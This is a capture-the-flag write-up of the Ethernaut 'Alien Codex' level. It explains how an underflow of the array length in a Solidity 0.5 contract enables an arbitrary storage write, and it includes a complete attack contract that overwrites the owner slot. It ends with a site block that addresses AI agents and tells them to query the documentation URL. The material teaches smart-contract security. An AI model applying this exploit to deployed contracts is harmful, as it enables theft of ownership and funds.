# Alien Codex

## Description

You've uncovered an Alien contract. Claim ownership to complete the level.

Things that might help:

* Understanding how array storage works
* Understanding [ABI specifications](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html)
* Using a very `underhanded` approach

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}
```

The objective is to claim ownership of the challenge contract, but how? Hint: the first state variable of '../helpers/Ownable-05.sol' is `owner` and this state variable is inherited by contract `AlienCodex`. Our objective is to overwrite this `owner` state variable.

Which slot does `owner` reside? The state variable ordering in inheritance is explained in this post:

{% embed url="<https://ethereum.stackexchange.com/questions/63403/in-solidity-how-does-the-slot-assignation-work-for-storage-variables-when-there/63404#63404>" %}
In Solidity, how does the slot assignation work for storage variables when there's inheritance?
{% endembed %}

`codex` is a dynamic array. This challenge is all about <mark style="color:red;">**dynamic array storage layout**</mark>. This blog explains this topic perfectly:

{% embed url="<https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/>" %}
Understanding Ethereum Smart Contract Storage
{% endembed %}

Challenge contract provides three functionalities to manipulate it:

* `record()`: push to `codex`
* `retract()`: pop from `codex` -> `length--` is the old fashion way of "pop" before Solidity v0.8
* `revise()`: overwrite an entry of `codex`

## Solution

First thing we have to do is calling `make_contact()`. This will set `contact` to true so that we can proceed.

Before Solidity v0.8, integer overflow/underflow is a thing. <mark style="color:red;">**Note that the length of**</mark><mark style="color:red;">**&#x20;**</mark><mark style="color:red;">**`codex`**</mark><mark style="color:red;">**&#x20;**</mark><mark style="color:red;">**can underflow.**</mark> At beginning the length of `codex` is 0. If we call `retract()`, the length becomes -1, which is $$2^{256} - 1$$ after underflow. Now we can treat `codex` as a dynamic array with arbitrary length.

Since `codex` can be long enough, it is possible to write to a specific index of `codex` such that storage slot 0 is overwritten. This can be done using the function `revise`, which is basically a powerful arbitrary write function:

```solidity
  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
```

Next, we are going to deduce which `i` to write:

```
slot 0: owner (20 bytes) + contact (1 byte)
slot 1: codex.length
...
slot h (h = keccak(1)): codex[0]
slot h+1: codex[1]
slot h+2: codex[2]
...
slot h+i <=> slot 0: codex[i] <=> owner

=> i = 0 - h
```

The solution contract is easy to write:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IAlienCodex {
    function owner() external view returns (address);
    function make_contact() external;
    function record(bytes32) external;
    function retract() external;
    function revise(uint256, bytes32) external;
}

contract AlienCodexHack {
    constructor(IAlienCodex challenge) {
        // contact = true;
        challenge.make_contact();

        // codex.length = 2**256 - 1;
        challenge.retract();

        // Overwrite codex[i] <=> slot 0
        uint256 h = uint256(keccak256(abi.encode(uint256(1))));
        uint256 i;
        unchecked {
            i = 0 - h;
        }
        challenge.revise(i, bytes32(uint256(uint160(msg.sender))));

        // Verify if we are the owner now
        require(challenge.owner() == msg.sender, "Failed.");
    }
}
```

## Summary

This level exploits the fact that the EVM doesn't validate an array's ABI-encoded length vs its actual payload.

Additionally, it exploits the arithmetic underflow of array length, by expanding the array's bounds to the entire storage area of `2^256`. The user is then able to modify all contract storage.

Both vulnerabilities are inspired by 2017's [Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/alien-codex.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
